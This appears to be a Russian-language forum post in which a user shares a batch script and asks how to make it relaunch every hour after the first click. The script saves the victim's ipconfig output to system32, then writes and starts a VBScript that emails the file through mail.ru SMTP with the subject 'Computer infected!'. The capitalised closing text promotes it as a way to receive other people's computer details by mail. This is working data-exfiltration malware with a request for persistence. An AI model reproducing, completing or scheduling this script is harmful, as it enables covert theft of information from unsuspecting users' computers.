blood150
Newbie | Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору Хочу сильно попросить вас помоч: как сделать чтоб этот батник самозапускался через каждый час после первого нажатия на него? @echo off ipconfig /all > %systemroot%/system32/ip.txt sleep 5 echo Chr(39)>%temp%\temp1.vbs echo Chr(39)>%temp%\temp2.vbs echo on error resume next > %temp%\temp.vbs echo Set S = CreateObject("Wscript.Shell") >> %temp%\temp.vbs echo set FSO=createobject("scripting.filesystemobject")>>%temp%\temp.vbs echo Call SendPost("smtp.mail.ru", "ВАША ПОЧТА", "ВАШ@mail.ru", "Kuzja", "Копм заражен!") >> %temp%\temp.vbs echo Function SendPost(strSMTP_Server, strTo, strFrom, strSubject, strBody) >> %temp%\temp.vbs echo Set iMsg = CreateObject("CDO.Message") >> %temp%\temp.vbs echo Set iConf = CreateObject("CDO.Configuration") >> %temp%\temp.vbs echo Set Flds = iConf.Fields >> %temp%\temp.vbs echo Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 >> %temp%\temp.vbs echo Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1 >> %temp%\temp.vbs echo Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "ЛОГИН" >> %temp%\temp.vbs echo Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "пАРОЛЬ" >> %temp%\temp.vbs echo Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.ru" >> %temp%\temp.vbs echo Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25 >> %temp%\temp.vbs echo Flds.Update >> %temp%\temp.vbs echo iMsg.Configuration = iConf >> %temp%\temp.vbs echo iMsg.To = strTo >> %temp%\temp.vbs echo iMsg.From = strFrom >> %temp%\temp.vbs echo iMsg.Subject = strSubject >> %temp%\temp.vbs echo iMsg.TextBody = strBody >> %temp%\temp.vbs echo iMsg.AddAttachment "C:\WINDOWS\system32\ip.txt" >> %temp%\temp.vbs echo iMsg.Send >> %temp%\temp.vbs echo End Function >> %temp%\temp.vbs echo Set iMsg = Nothing >> %temp%\temp.vbs echo Set iConf = Nothing >> %temp%\temp.vbs echo Set Flds = Nothing >> %temp%\temp.vbs start %temp%\temp.vbs start %temp%\temp1.vbs start %temp%\temp2.vbs ВОТ РЕБЯ ТА ОБОЛДЕННЫЙ БАТНИК: ПРИ НАЖАТИИ НА НЕГО СОЗДАЁТСЯ ФАИЛ (IP.TXT) В ПАПКЕ ВИНДОВС В ФАЙЛЕ СОДЕРЖИТСЯ ИНФОРМАЦИЯ О КОМПЕ IP,ИМЯ И Т.П. И ЭТОТ ФАИЛ ОТСЫЛАЕТСЯ НА ВАШУ ПОЧТУ ЭТОТ ФАИЛ. ВАША ПОЧТА-ЗДЕСЬ НАПИШЕТЕ АДРЕС КУДА ПРИДЕТ ФАИЛ IP.TXT ВАШ@mail.ru-ВЫ ДОЛЖНЫ СОЗДАТЬ ПОЧТУ НА mail.ru ЛОГИН-ВАШ КОТОРЫЙ НА mail.ru пароль-ВАШ НА mail.ru |